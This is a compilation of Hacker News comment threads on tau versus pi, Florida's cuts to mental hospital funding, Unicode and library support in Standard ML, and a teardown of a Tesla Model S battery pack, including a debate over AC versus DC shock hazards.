How pi was almost 6.283185 [video] - <AUTHOR> https://www.youtube.com/watch?v=bcPTiiiYDs8 <comment><USER2> Read The Tau Manifesto!

[https://tauday.com/tau-manifesto](https://tauday.com/tau-manifesto)

<comment><USER3> Kind of ironic that the video makes a compelling argument why such arguments are wastes of energy and miss the point.

For those who don't care to watch, the tl;dr is Euler used the constant symbol for pi similar to our use of theta, as a constant without a fixed value. Sometimes it was 3.14, sometimes 6.28 and sometimes pi/2, just depending on what problem he was solving and what form was most convenient.

The lesson being, don't get caught up wasting energy on the argument that could be used towards solving problems.

<comment><USER2> _...don 't get caught up wasting energy on the argument that could be used towards solving problems._

You must be new here. Welcome to Hacker News. =)

</comment></comment></comment><comment><USER4> Honestly should've been, Tau makes much more sense IMO (:

</comment><comment><USER5> [http://www.thepimanifesto.com/](http://www.thepimanifesto.com/)

In my opinion, the most natural definition of pi is "the area of the unit circle", which would be tau/2.

<comment><USER6> In my opinion, the most natural definition is the circumference of the unit circle, which is tau. The area of the unit circle is then simply the integral: tau/2*r^2.

Start at the lowest dimensional property (1D).

</comment></comment><comment><USER7> Interesting! Articles like this make Hacker News stand out. Thanks, poster!

<comment><AUTHOR> A simple rule is to post all videos by 3Blue1Brown to HN</comment></comment>


Florida cut $100M from its mental hospitals – chaos followed - <AUTHOR> http://www.tampabay.com/projects/2015/investigations/florida-mental-health-hospitals/ <comment><USER2> I am not sure the answer is framing this as a Left/Right issue like a lot of the thread is doing.

The underlying reason for cuts in Mental Health is the same reason 1,000 State jobs got eliminated this year or $1.2B was cut from FL education the Governor's first year...it is a finite budget problem.

Take the Zika virus, a current South Florida news story gaining national attention. I haven't seen a single news spot/article mention how Zika is linked to the budget cuts (State and local) that gutted mosquito controlling programs. There is no mention how before Zika, in 2009 under former Governor Crist the budget cuts for mosquito control lead to a Dengue outbreak (~4,000 cases). Yet about $5.5M in mosquito control cuts lead to a $5.5B (10%) loss in FL tourism in 2009, these are not calculated political decision of the Right, but difficult budget decision that had horrendous consequences.

To really put it in perspective, Crist later ran for Senate as an Independent and then re-ran for Governor as a Democrat with full support of Obama...party affiliation would not have changed the decisions he made as a Republican Governor. Further take the $1.2B education cut the first year of the new Governor, since then he has fully restored that amount and then some, why? Not because as a member of the Right he changed his political ideology towards education, but the reality is FL is $200B in debt; however, we are no longer running a $3.5B deficit, in fact not only is the budget balanced this year FL is projected to have a surplus and that has allowed the Governor to restore education funding.

<comment><USER3> "Most of the state will be part of the ocean within fifty years, but don't worry people, we've slashed services so the budget's balanced and your taxes won't go up."

Sometimes you need to spend money to protect against a future where the costs are even higher. The mosquito control initiative could have paid for itself with the sales taxes on that $5.5B in revenue that never happened.

<comment><USER2> Agreed, but sometimes there is no money to spend, and that's my point...it is purely a budget issue not a political one. When your State budget goes from say $70B down to $60B (including a stimulus package from the federal government) and the state is already $200B in debt where does the money come from?

Had the republican (turned independent, turned democrat) governor Crist known saving $5.5M would cost $5.5B he wouldn't have done it, but he didn't and instead maybe he saved 100 state jobs.

It's easy to know the right decision after the facts, but these budget issues cut both ways. For example, during the housing crisis to keep Florida operating I believe Crist liquidated like 1/3 to 2/3 of FL pension trusts. So, yes it's great that FL didn't shut down, but what happens when FL can't pay retirees pensions?

So if you want $100M for mental Health funding who do you take it from?

<comment><USER3> Where do you get that money? I bet you could shake $100M out of the prison system if you looked for cases of people being locked up for ridiculously trivial offenses. Given how prisoners often cost $40-60K per year, wouldn't take that many.

I don't expect people to be psychic, but common sense must apply here. When you "save money" by slashing budgets on road repairs, and ten years later your roads are so awful you have to replace them all at great expense, is that really savings?

A bridge that's deteriorating is expensive to fix. A bridge that's collapsed from lack of maintenance is _crazy_ expensive to replace.

The so-called fiscal conservatives are always looking at saving money now, they don't seem to care about what happens tomorrow.

<comment><USER4> Florida has somewhat of a...reputation...for the caliber of its criminals.

<comment><USER3> It's got a spectrum of those incarcerated that's perhaps skewed a bit more to one extreme than other states like Connecticut but that doesn't mean there aren't a lot of people locked away for petty crimes.

The worst is those who are otherwise good citizens but got busted for simple possession and are doing years of time. That costs the state hundreds of thousands of dollars, and after they're branded a felon, they'll probably "re- offend" given they have limited job opportunities.

If you wanted to design a system to generate prisoners they're doing a great job, which given the for-profit prison system, is probably the idea.

</comment></comment></comment></comment></comment></comment><comment><USER5> I was about to wonder aloud why there can't be more private, for-profit mental health facilities instead of private prisons, as huge swathes of the incarcerated population are very mentally unwell and probably do need to be in custody but would likely benefit tremendously from a less oppressive setting. Surely there could be some profit to be extracted by privatization there.

Then I realized it's because they couldn't make mental health patients do slave labor, and why leave all that money on the table when the facilities they'd be building are basically the same, as are the people they'll be housing, once they and their political allies have successfully choked out the public mental health system. Ah the glory of the free market.

<comment><USER6> Health should not be for-profit. Such a system puts the needy at a tremendous disadvantage. Needing a heart transplant etc. does not put one in a situation to shop around.

Blind worship of a free market can lead to some pretty obscene outcomes.

<comment><USER7> > _Health should not be for-profit._

Yeah, it should be public like Canada, where I've been on a waiting list for 2 years just to get a family doctor...

I think there's some middle ground there. The market _does_ solve certain problems.

<comment><USER8> I am a Canadian and don't have a family doctor and am unclear on the benefits of having one. When I had one years ago I didn't feel like I was getting any extra special attention beyond what I get now by walking into a walk-in clinic and seeing any random doctor.

Perhaps the benefits are clearer if you have ongoing medical issues? Or perhaps my old family doctor wasn't doing things a family doctor is supposed to do in terms of ongoing care?

<comment><USER9> I'm an American with kickass insurance who doesn't have a "family doctor". I go to a local practice that has 5 or so doctors and a couple of CNP's. I don't always see the same person, but I see someone within 2 or 3 days for routine stuff and same day for urgent stuff. I think that the moderate trade off between "personalization" and availability is totally worth it, especially since it saves me money (my insurance is apparently billed less for an appointment at a group practice, which means eventually my premiums are lower).

<comment><USER10> For another data point, I live in Australia and can see a doctor, same day or night, for around 20 USD. It is very convenient and I am glad that part of the system runs well enough.

There can be waiting lists for public surgeons however, and private health insurance can help solve that to an extent.

I think we have a good balance here but I am not familiar enough with the nuances of health care to know.

</comment></comment></comment></comment></comment></comment><comment><USER11> Stuff like this has happened in recent history in Canada too. At the federal level, and the BC provincial level. All in the name of fiscal responsibility, as if people existed for the sake of money, and not the other way around.

It's too bad that the people who founded the country didn't lay down some sort of law against a (then colonial) government sabotaging itself. We even have a vestigial British governor general who could enforce it for us. The word "treason" comes to mind.

<comment><USER12> Same thing happened in Toronto as the former mental hospital near Allen Gardens in the East End by Cabbagetown was essentially disbanded. A lot of people stayed in the area and can still be found there to this day (it was at least a decade ago, trying to find a media link...)

</comment></comment><comment><USER13> This is just sad. Didn't something similar happen with Ronald Reagan in the 1980s?

[http://www.nytimes.com/1984/10/30/science/how-release-of- men...](http://www.nytimes.com/1984/10/30/science/how-release-of-mental- patients-began.html?pagewanted=all)

[http://www.motherjones.com/politics/2013/04/timeline- mental-...](http://www.motherjones.com/politics/2013/04/timeline-mental- health-america)

<comment><USER14> Please don't reference Mother Jones. It's incredibly biased.

Just like every other political issue, mental health, is complicated and there isn't one reason or person for the way things are.

Blaming Reagan ignores the dact that new antipsychotics were developed that allowed patients that were previous confinded to institutions to be released to the community.

Also, the ACLU along with the supreme court changed the laws and made it much tougher to confine people for mental health issues. One of the biggest challenges in treating mental health is compliance. Having a mental illness often takes away the ability to see what's best for yourself. Ask a mental patient if they want to go to the hospital, they'll often say no. And based on current laws, there isn't anything we can do about it.

<comment><USER15> It would be nice to know what that bias might be. For example, "bias towards truth" is different than "bias towards restoring the US to British monarchy."

Mother Jones is of course a politically progressive magazine, so there's a bias in the topics they cover. But that sort of bias says nothing about the quality of the coverage. The Economist is also 'incredibly biased' in what it cover, and they do good job of it as well.

Similarly, Mother Jones wins awards, like the National Magazine Awards.

Quoting its co-editor Clara Jeffery [http://www.wnyc.org/story/what-its-when- redditors-ban-your-w...](http://www.wnyc.org/story/what-its-when-redditors- ban-your-website/) :

> We report from all side of an issue. We do investigations into things that > people on the left or the Democrats wish we wouldn't. And all of our > journalism is fact-checked, sourced, and linked through. Facts are what we > do, and statistical data analysis journalism is a big part of what we do. So > I don't see that part either. And we don't really lace our reporting with > opinion. It's more, we're a shop that cares about the little guy and > inequality. So that informs some, but by no means all, of our story > selection.

<comment><USER16> I have never, ever, seen Mother Jones do "an investigation into things that people on the left or the Democrats wish we wouldn't." Maybe there was a time that they were more extremist than the Democrats, and that's what they are referring to. They are basically Fox News, but on the left. Both Fox and MJ make you less informed than before because they leave out facts and stories that don't fit their preconceived viewpoint. They seldom straight-up lie, but the way they frame the stories and what they leave out gives you a distorted picture.

You have TONS of more reputable news sources to choose from like the Atlantic, New Yorker, NYT, Economist, etc. With MJ you're just reading straight-up propaganda and it's very distasteful.

In the case of mental health, a lot of things would have to happen before we could get those mentally ill people off the streets. And Mother Jones would oppose many of those things. For example, we would have to be able to commit more people to institutions against their will. We would have to make it harder to sue mental health professionals or else the government would be bankrupted. To really get a lot of them back to work, we'd have to lower the minimum wage to the point that businesses were actually willing to pay for their time rather than use a robot or an outsourced Indian. But that's a lot more complex than hurr hurr Regan was teh Satan, so you won't find that discussed by MJ.

<comment><USER15> I am confused by your positioning Mother Jones as no more extremist than the Democrats while also saying "They are basically Fox News, but on the left".

I can't tell from that if you mean that the Democratic party is an extremist party, or if you mean that that Fox News is as moderate towards the right as the Democrats are towards the left, or both.

I thought 'Democracy Now' was more like the left-extreme version of right- extreme Fox News, only much less influential. In any cases, shouldn't your comparison be more to one of the conservative _print_ sources? Is Mother Jones more like the National Review or The American Conservative for the left?

From what you wrote, it's hard for me to tell if your statement that the Mother Jones writing "gives you a distorted picture" is because you also have a distorted partisan view.

About the only times I read an article from Mother Jones is when it was submitted here on HN, which occurs a few times each week according to an HN search.

I looked now at several of their investigation pieces, at [http://www.motherjones.com/topics/investigations?page=1](http://www.motherjones.com/topics/investigations?page=1) , I do not get the same feeling of being "less informed" that you described. To the contrary, pieces like "They Had Created This Remarkable System for Taking Every Last Dime From Their Customers" and "The World Bank Is Supposed to Help the Poor. So Why Is it Bankrolling Oligarchs?" seem like informative, well-written pieces that I would expect from those reputable sources you mentioned. They also link to primary resources, including SEC filings and court documents. That's not something I see from Fox News reports.

The web site lists only a small number of investigations, I can't find an investigation that the Democrats wish hadn't been reported. I instead looked for other long-form pieces.

Five years ago they ran "Why the Democratic Party Has Abandoned the Middle Class in Favor of the Rich", [http://www.alternet.org/story/151108/why_the_democratic_part...](http://www.alternet.org/story/151108/why_the_democratic_party_has_abandoned_the_middle_class_in_favor_of_the_rich) (first appeared in Mother Jones, but doesn't appear to be online) and "Why Screwing Unions Screws the Entire Middle Class" at [http://www.motherjones.com/politics/2011/02/income- inequalit...](http://www.motherjones.com/politics/2011/02/income-inequality- labor-union-decline?page=3) , which contains among other things the line "The Democratic Party has largely abandoned the working class".

The author of those piece is Keven Drum, who has continued with more recent articles like "Democrats Have Done Virtually Nothing for the Middle Class in 30 Years".

These do not appear to be something the Democratic Party would wish published.

My examination is only cursory, so while I don't see how you reached your conclusion, you have the longer experience with Mother Jones to be a better judge.

<comment><USER16> I believe that Mother Jones is to the left of the traditional Democrat party platform. I also believe that Fox News is to the right of the traditional Republican party platform. In that way, I think the two publications are similar.

Basically, I don't consider either publication a useful source of news. In general, both of them leave out the context that would be needed to understand what is going on in the world. For example, that Mother Jones article about "Why is [the world bank] Bankrolling Oligarchs" leaves out the context of what has been going on in Myanmar in the last few years. Myanmar has gone from being a completely military-run state, to allowing a limited democratic opposition to exist. The World Bank is making investments there partly as a kind of reward for that. If the World Bank left, other countries like China would step in and try to buy influence there with their own equivalent of the IMF (China Development Bank). It invests in bigger companies because it has to, because the managerial overhead of investing in tiny ones would be way too high.

All the same issues exist in our government's aid programs to poor countries. The money does indeed often get siphoned off to the rich and well-connected. But of course Mother Jones doesn't comment on this, becuase the narrative is government = good, World Bank = bad. If facts or context have to be left out to fit the narrative, they always will.

I could go on, but you get the idea. By leaving out facts and, most especially, context, biased news sources like these leave you less informed after you read them than before.

</comment></comment></comment></comment></comment></comment><comment><USER17> Why cut these services?!

Is Florida going to add more police, social workers, ER doctors and etc deal with the consequences?

<comment><USER18> Who do you think cut these services?

This is GOP 101.

Never elect a Republican governor. See MI, ME, FL, etc, etc.

<comment><USER19> Rick Scott's administration passed a law that said welfare recipients must be drug tested in order to receive benefits. Rick Scott's family has a lot (~68/200 million) invested in some of those facilities.

<comment><USER20> And here is the initial result of all that: [http://www.tampabay.com/news/courts/florida-didnt-save- money...](http://www.tampabay.com/news/courts/florida-didnt-save-money-by- drug-testing-welfare-recipients-data-shows/1225721)

Followed by the end of it: [http://www.cbsnews.com/news/florida-declines-to- appeal-furth...](http://www.cbsnews.com/news/florida-declines-to-appeal- further-in-case-of-welfare-drug-testing/)

</comment></comment></comment></comment><comment><USER21> The real issue is a legal, not financial one. The ACLU fought a long time ago to make it very hard to commit anyone, very hard to give them treatment while committed, very hard to keep them there, etc.

No matter how much city/states spend, they can't fill up the hospitals and treat patients, which is why most of the hospitals were closed.

If you are interested, there's a very thorough book on the subject that I'd recommend:

[https://www.amazon.com/My-Brother-Ron-Personal- Deinstitution...](https://www.amazon.com/My-Brother-Ron-Personal- Deinstitutionalization-ebook/dp/B008E0LRQE)

<comment><USER22> This conclusion does cut both ways. It should be acknowledged that treatment at mental institutions then was horrific. Current treatment is not much better.

</comment></comment><comment><USER23> Maybe they were worried about a downtick in "Florida Man" stories? This is one sure way to keep your state in the "News of the Weird" segment every week.

<comment><USER24> The Florida Man phenomenon is mainly a result of the state's stringent public- records laws [1]:

"Since 1909, Florida has had a proud tradition that all government business is public business and therefore should be available to the public. That means all records, including photos and videos, produced by a public agency are easily accessible with a few narrow and obvious exceptions. Public officials are also required to open all of their meetings — even unofficial ones — to the public."

[1] [http://www.miaminewtimes.com/news/how-floridas-proud-open- go...](http://www.miaminewtimes.com/news/how-floridas-proud-open-government- laws-lead-to-the-shame-of-florida-man-news-stories-7608595)

</comment></comment><comment><USER25> This story is way too lengthy (and important) to have glitzy scroll tricks getting in the way. [Insert your favorite Creative Director joke here]

<comment><USER26> Agreed

</comment></comment><comment><USER26> Shit. That's bad. Those CC camera clips make it look more like the time I spent as a bouncer than someplace where people are safely receiving treatment for their mental conditions.

<comment><USER27> Well, I'm only partially joking when I point out that wherever you were a bouncer at was likely a place quite a few people voluntarily went to treat their mental conditions.

</comment></comment><comment><USER28> $100M is just a cut. So how much is Florida actually spending on mental hospitals ? Sounds like a ridiculously high cost to me.

<comment><USER29> When mental health services are cut, the burden doesn't go away but gets picked up by police and hospitals, who aren't properly equipped to handle those challenges. The SFPD and ambulances spend massive amounts of time responding to emergencies involving mentally ill homeless, which limits their ability to respond to other problems.

<comment><USER28> My question was what is the total cost of Florida's mental hospitals and if that is worth it. Assuming that $100M cut was a 10% cut it means that the total expenditure could be $1B. Which looks ridiculously high for merely 20M population of Florida.

Of course there is a whole point of whether government ought to spend some money now to avoid spending on basic services later whether there are proper studies done and if people agree to it and if the mental hospitals are free for everyone. But that was not my question here.

<comment><USER30> Florida's GDP is $748B. Suppose 1 in 300 people in the state are mentally ill enough at a given time to warrant living in a mental hospital. If that costs $1B, about half as much of the economy would be spent on them (per capita), compared to the general population. Seems very reasonable to me, without any more specific numbers to go on.

To throw out another number for comparison, medicare and medicaid together cost about $50B / year in the state.

<comment><USER28> Assuming your numbers government spends $15k for every 1 of those 300 people. That number seems pretty high.

The Tampa Bay investigation's violence refers to violence in the hospitals itself and not the general violence in society. For 13.5K per year you might reduce the hospital staff by 10% but that is unlikely to result into chaos that the report seems to suggest.

<comment><USER30> How cheap do you think room, board, and medical care should be?

By the way, for comparison, Medicare spends $10k/year per beneficiary in Florida.

</comment></comment></comment></comment></comment></comment><comment><USER31> Ensued. You're supposed to say "ensued".

</comment><comment><USER9> Let's all say it together:

 _No_.

 _Fucking_.

 _Way_.

How could anyone have seen this coming!?</comment>


Unicode in SML - <AUTHOR> https://blogful.me/b/phileaton/unicode-in-sml#/share <comment><USER2> I used SML as part of the Programming Languages course taught by University of Washington. It's easily one of my favorite languages and I wish there was more library support for it.

<comment><USER3> I feel the same way. Maybe we can be the change in the world we want to see. There's also OCaml which seems to have more libraries, a single compiler (yay). The downside is OCaml has a ton of features whereas I find SML to be small enough to hold in my head.

<comment><USER4> On the other hand, you don't need to know all of OCaml to be effective and unknown features are not going to come and bite you while you don't use them.

Most people don't know the object system. Most advanced features are rarely used and kept well hidden in libraries internals (first class modules, extensible types, ...)

You will need to understand functors for some libraries, though, but I would guess that it's true for SML as well. :)

<comment><USER5> The UoW course did emphasize the Module system quite a bit.

Random question, how hard would it be to port OCaml libraries to [s]ml ?

<comment><USER4> Frankly, this question doesn't make sense. OCaml's type system is much richer than SML's.

The opposite is pretty trivial, though.

<comment><USER5> I got my answer somehow :)

</comment></comment></comment></comment></comment></comment><comment><USER6> I noticed recently that there's an open PR for Homebrew to add a formula for MLTon. There are still a few glitches to be ironed out, but I'm really hopeful that they can resolve them. I've been using SML/NJ locally for schoolwork, but it'd be really nice to have an easy-to-install, full-fledged SML compiler with top-notch performance installable with just

        brew install mlton

[1]: [https://github.com/Homebrew/homebrew/pull/48694](https://github.com/Homebrew/homebrew/pull/48694)

<comment><USER3> That would be nice! It would certainly help grow the language even if only for the learning experience. A good install story can only help.

Getting the MLton compiler to install on OS X was pretty straight forward but I've never been able to get Basis to load properly.

I also recently burned an afternoon trying to install MLKit on OS X. This one seemed promising for its good docs, smltojs, and good FFI so I was bummed I couldn't get it work.

SMLNJ installs pretty easily but holy cow do you have to murder your PATH.

Eventually I settled for MoscowML which is a VM rather than native code but it has provided me the best ML on OS X experience so far. I also enjoy having the REPL.

Yours truly,

ML compiler/VM collector

<comment><USER7> Since you collect... be sure to check out the open sourced Harlequin MLWorks: [https://www.ravenbrook.com/project/mlworks/](https://www.ravenbrook.com/project/mlworks/) and [https://github.com/Ravenbrook/mlworks](https://github.com/Ravenbrook/mlworks)

There are some branches on the repo with more recent work to get it to compile on other platforms.

<comment><USER8> Doesn't build yet but it's great this didn't get lost like other code. It's a shame licensing and ip management keeps some of our works under lock. Imagine books and scientific papers being kept in vaults. It's another good reason to start projects in the open without giving up ownership to a company or some organization. The FSF or INRIA could pull an Oracle and branch off into a closed code base, but that of course won't happen. Just illustrating the dangers of giving copyright ownership to a single entity like FSF or Google for that matter. Sorry for the rant, but INRIA's CLA rubs me the wrong way because they license OCaml as LGPL with the option to relicense under a liberal license exclusively to Caml Consortium members it seems: [https://www.reddit.com/r/ocaml/comments/46fiox/ocaml_compile...](https://www.reddit.com/r/ocaml/comments/46fiox/ocaml_compiler_license_changed_from_qpl_to/) They are in the right to do so and have valid reasons but it's not a great idea for a project with not that many external contributors.

</comment></comment></comment></comment><comment><USER9> We are implementing the Red JonPRL proof assistant ([https://github.com/JonPRL/sml-red-jonprl](https://github.com/JonPRL/sml-red- jonprl)) in SML (using MLton for builds and SML/NJ for development), and could hardly be happier.

Dealing with unicode is a pain, but so far, we've been able to do what we need.

</comment><comment><USER8> I've always wondered why SML, a language with a proper spec and multiple independent implementations and more coherent design, was overshadowed by OCaml. Maybe it's the spread of developers across different implementations.

Been reading some SML while going through Okasaki's famous classic book.

Urweb is exceptionally great [https://air.mozilla.org/ur-web-a-simple-model- for-programmin...](https://air.mozilla.org/ur-web-a-simple-model-for- programming-the-web/)

<comment><USER10> > I've always wondered why SML, a language with a proper spec and multiple > independent implementations and more coherent design, was overshadowed by > OCaml.

IMO it's not much of a mystery. For ~15 years "object oriented" was the biggest buzz word in computer science and OCaml was object oriented, while SML was not. At least in the objects, inheritance, and polymorphic way people wanted.

</comment></comment><comment><USER8> I really hope there's a resurgence of SML. MLton even has an LLVM backend. I use Moscowml for the REPL and MLton for native binaries.

</comment><comment><USER11> SML - the best language I've never gotten to use in anger.</comment>


Inside a Tesla Model S Battery Pack - <AUTHOR> http://www.teslamotorsclub.com/showthread.php/34934-Pics-Info-Inside-the-battery-pack <comment><USER4> That was one very quick trip to the recycler, pack dates from August 2013. Crashed car?

Totally nuts to work with DC voltages this high without taking safety precautions. Anything over 50V DC is to be treated with very serious respect.

AC is different, you get a good number of opportunities to dis-engage, but with DC your muscles contract and that's that.

I'd rather mess with 2 KV AC than with 200 V DC.

Lovely engineering on that pack by the way, the number of safety features is very impressive. Sure looks a lot better on the inside than mine ever did!

( [http://pics.camarades.com/d/90045-1/IM000398.JPG](http://pics.camarades.com/d/90045-1/IM000398.JPG) )

(That's only 48KWh but at 48V so much higher current)

I think I've found the source of the pack:

[http://www.teslamotorsclub.com/showthread.php/32687-For- sale...](http://www.teslamotorsclub.com/showthread.php/32687-For-sale-Tesla- Model-S-85-kWh-main-lithium-battery-pack-with-less-then-500-miles-SOLD)

Original asking price was $29K.

<comment><USER5> Not sure where this myth started, the idea that somehow AC is less dangerous to handle at high voltages over DC. Wall socket AC alternates at ~50Hz, that's an oscillation every 0.02sec, for perspective, the average human reaction time is in the range of 0.15 to 0.3sec [Wikipedia]. There almost no chance that you willingly disengage a circuit once it's made for both high voltage AC or DC. Be careful whenever handling high voltage sources of electricity IN ALL CASES.

Also, if you don't mind me asking, how much did your battery bank cost?

<comment><USER4> That's not a myth, it's a fact and reaction time has nothing to do with it. You're not consciously pulling back, your muscles will simply stop contracting for a short bit after which you (hopefully) disconnect.

The DC damage is a condition called 'muscular tetanus'. The main risk with AC at medium voltages (say 40 to 250 V) is that your heart goes haywire. Though those voltages could easily kill you too.

Yes, you should always be careful. But DC is most definitely more dangerous at the same voltage once you get over 48 V DC (the so called 'safe voltage', but that's a misnomer because under the wrong conditions voltages lower than that can still be fatal). The critical component by the way is current not voltage. Voltage really doesn't kill but current will. AC voltages are typically reported RMS, whereas with DC the 'peak' is also the average. Assuming the DC supply can produce as much current as the AC supply.

Being shocked by neither is good. But the choice between 200V DC and 200V AC is a fairly easy one for me and I've been shocked multiple times by both during my very long time of taking stuff apart and fixing things (yes, I try very hard to avoid that). The AC ones were mostly non-events, the DC ones were (even at lower currents) things to remember years later. Quite possibly that's not correlated with safety but it is definitely a data point (or rather several of them). Avoiding being shocked is a very good way of never having to find out how accurate this all is. One particularly memorable incident was hooking myself accidentally to the HV supply of an old tube radio. Don't do that. And be extremely careful with capacitors and DC batteries, they can supply a ton of current long enough to kill you. HV transformers much less so. (At least, the ones that you would normally encounter outside of industrial gear). And I suspect that the internal resistance of those supplies has a lot to do with whether you're going to be dead or writing about your experiences because it has a very direct impact you the current resulting. HV AC supplies that will supply very high current are hard to find, usually are transformers with relatively thin secondary windings. A battery pack like this is made to supply 100's of Amps at 100's of volts. That's lethal, make no mistake about that.

That battery bank cost $7200, 2005 or so prices.

More than you ever wanted to know:

[http://www.allaboutcircuits.com/vol_1/chpt_3/4.html](http://www.allaboutcircuits.com/vol_1/chpt_3/4.html)

<comment><USER5> You kind of jump around from point to point. If your hand is wrapped around a a source of electricity (Assuming that it's not static charge and can provide a current equal to the source voltage over your bodies resistance) I'm sorry but you are not going to let go, even if you are hanging from the wire. Until a formation of soot has formed and the oils in your hands have burned off to increase the resistance, there is no letting go.

Let me give a couple of reasons why AC just as dangerous as DC.

1) Your body shares some of the same characteristics a capacitor, a capacitor with small capacitance, but one none the less. This means that an AC current can shock you without forming a classical circuit that would be needed for a shock from DC.

2) You mention RMS as a reason why AC is safer? The root mean squared voltage of AC is going to be less then the peak voltage induced by the name plate voltage. Wall socket voltage may by 120V RMS but will peak around 170V.

3) With a peak voltage of 170V the current through a resistor (like a human body) is going to be ~40% greater than that of an average 120V for DC. Stating that current kills but voltage doesn't is also ridiculous (unless you are talking about static charges). It would be like saying that the flow rate of water down a stream is dependent on the amount of water in the stream and not the speed of the flowing water. The fallacy is also point out in the link your provided.

4) Hearts are much more likely to suffer from complication due alternating current than from direct current

Again, I stand by my initial assertion, both AC and DC are just as dangerous. Anecdotal stories, while entertaining, don't mean much considering that you may have been hydrated while dealing with DC, which can increase the bodies internal resistance greatly. You may have been more grounded, you may have been touching a piece of metal that was grounded, the circuit may have been created across the chest which gives a nasty shock. There are many external variables which can alter your perception of what it feeling like while being electrocuted.

<comment><USER4> See other comment lower in the thread.

</comment></comment></comment></comment></comment><comment><USER6> I think he's wrong about one thing. A good BMS not only monitors cell voltages, it has the ability to bypass some charging current around individual cells. Not a lot, but enough to balance the charge of all cells over a cycle. That capability can do wonders for the reliability and life of a pack.

While I worked in EVs for 6 years, I have no knowledge of the Tesla BMS - <USER2> were not our customer and I worked mostly in motor control anyway.

<comment><USER7> Here is the spec sheet for the main square chip on that board. [http://www.ti.com/lit/ds/symlink/bq76pl536a-q1.pdf](http://www.ti.com/lit/ds/symlink/bq76pl536a-q1.pdf) You're right. It does have a cell balancing feature.

<comment><USER4> Where is the actuation mechanism for that that though? There does not appear to be any circuitry for that here. At a minimum you'd need something that would engage/disengage the cells, either a FET or a IGBT. (the voltage drop on other devices would be too large).

<comment><USER8> Take a look at [http://files.wizkid057.com/teslapack/update2/Tesla%20BMS%20M...](http://files.wizkid057.com/teslapack/update2/Tesla%20BMS%20Module%20-%20Front.jpg)

For cell #1, my guess is that the 4 parallel resistors (R3) are the balancing resistors and that Q1 is a small logic level MOSFET which enables cell balancing. On a BMS project I'm working on balancing current is only 250mA, so a small SOT-23 MOSFET is all you would need.

<comment><USER4> Good eye. There are exactly 6 of those so yes, you are very likely right!

</comment></comment></comment></comment></comment><comment><USER9> Pictures wouldn't load so I used [https://web.archive.org/web/20140910232549/http://www.teslam...](https://web.archive.org/web/20140910232549/http://www.teslamotorsclub.com/showthread.php/34934-Pics- Info-Inside-the-battery-pack)

thanks again archive.org

<comment><USER10> It appears he was serving them off his personal NAS. Whoops.

<comment><USER11> His copyright notice and explanatory paragraphs make it clear he's trying to keep some level of control over those photographs, while still sharing them with "his community" \- which means I feel a little uneasy about having archive.org unilaterally slurp the images up like that...

I know it's kind of a losing battle, but "publicly available" does not mean "in public domain".

<comment><USER12> I've never seen such an aggressive and hostile copyright notice in a forum signature before. It's not entirely clear that you can even claim copyright over trivial online comments.

<comment><USER13> _It 's not entirely clear that you can even claim copyright over trivial online comments._

Trivial or not, you have copyright in your own writings, online or off-line. Each participant on HN owns the copyright in the written expression of his or her comments. Similarly, a photographer has copyright in photographs taken by that photographer. See a user profile of a high-karma HN participant

[https://news.ycombinator.com/user?id=tptacek](https://news.ycombinator.com/user?id=tptacek)

for an example of asserting copyright in HN comments, something that any of us could do, because the copyright is already there under modern copyright law, and asserting the copyright openly and publicly helps battle infringement.

<comment><USER12> A work must be creative enough to earn copyright. Most tweets would not qualify, for example. You can assert anything you want without it being legally enforceable.

</comment></comment></comment></comment></comment></comment><comment><USER14> Interesting to compare this to the ford fusion battery[1], which uses clever construction to prevent a technician from being exposed to high voltages during construction and teardown.

[1] [http://www.etotheipiplusone.net/?p=3109](http://www.etotheipiplusone.net/?p=3109)

<comment><USER15> That almost looks like it was built by a mechanical engineer, not an electrical engineer. All the effort seems to be focused on building a sturdy case for the batteries, and the actual electrical connections are all steel screw terminals and crimping, without any spot welding anywhere.

I'd be worried about the electrical resistance of all those contacts, and the heat it produces. Tesla's battery pack seems like a more intelligent electrical design, with a barebones mechanical design to back it up.

<comment><USER16> Having a mechanical engineer drive the design of a battery pack isn't necessarily a bad thing, IMO it's the sensible route for a mass-market car made by a mass-market company.

Modern high volume, quality focused manufacturing will often prioritize ease of assembly over elegance in design. Fewer, simpler steps make for fewer defects and greater product consistency. It's the whole "lean manufacturing" ideal at play, done right it will lower costs and improve quality to a point that you can splurge on a little engineering elegance such as a small-volume hybrid model capable of being assembled on the same line as your high-volume offerings. Tesla doesn't have to worry about this for now as they compete in a high-margin segment of the industry and they are trying to set a benchmark of excellence that will create demand for their products.

A real world example I've seen in person is the Nissan Leaf. The battery is designed to be as safe as possible for handling by a line worker and that allows Nissan to produce the Leaf at the exact same time as plain vanilla Altimas are rolling down the line. If you ever take a tour of their Smyrna, TN plant you'll see 1 line with a 9 or 10 Altimas interspersed with a Leaf every once in a while. It's smart engineering at a production-level viewpoint as a "worse" battery allows an entirely different product to be produced with minimal production overhead.

</comment></comment></comment><comment><USER17> Asides from price, why not engineer a battery that did not rely on 18650 cylindrical cells? Seems like a bit of extra weight and lost capacity/space by using tons of 18650 batteries which each have their own casing instead of just making a 'brick' style battery, similar to those found in mobile phones (but obviously much larger).

<comment><USER18> Isn't that the type of cell the 777 use(s/d)? I think Elon Musk very addressed the issue pretty well.

[http://www.flightglobal.com/news/articles/elon-musk- boeing-7...](http://www.flightglobal.com/news/articles/elon-musk- boeing-787-battery-fundamentally-unsafe-381627/)

"Large cells without enough space between them to isolate against the cell-to- cell thermal domino effect means it is simply a matter of time before there are more incidents of this nature," he adds.

"Moreover, when thermal runaway occurs with a big cell, a proportionately larger amount of energy is released and it is very difficult to prevent that energy from then heating up the neighboring cells and causing a domino effect that results in the entire pack catching fire," says Musk.

"They [Boeing] believe they have this under control, although I think there is aUnfortunately, the pack architecture supplied to Boeing is inherently unsafe," writes Musk in an email to Flightglobal.

"The fundamental safety issue with the architecture of a pack with large cells," writes Musk in an email. "It is much harder to maintain an even temperature in a large cell, as the distance from the center of the cell to the edge is much greater, which increases the risk of thermal runaway."

<comment><USER19> 787

<comment><USER18> Indeed, oops

</comment></comment></comment></comment><comment><USER20> I had a similar appreciation reading this that I felt for the original iPhone tear-aparts by ifixit and their brethren.

EG - looking at a truly innovative use of existing technologies pushed to their limit and engineered to a sum greater than their individual parts.

Makes me want a Tesla even more.

</comment><comment><USER21> Anyone else notice that in the Tyco contactor picture it's labelled "Coil 3.14 Ohms"? It makes me think they only needed it to be 3 Ohms, but an engineer somewhere couldn't resist making it πΩ

<comment><USER22> It might be to normalise other components to nice units, given that pi turns up when calculating the inductance of a coil.

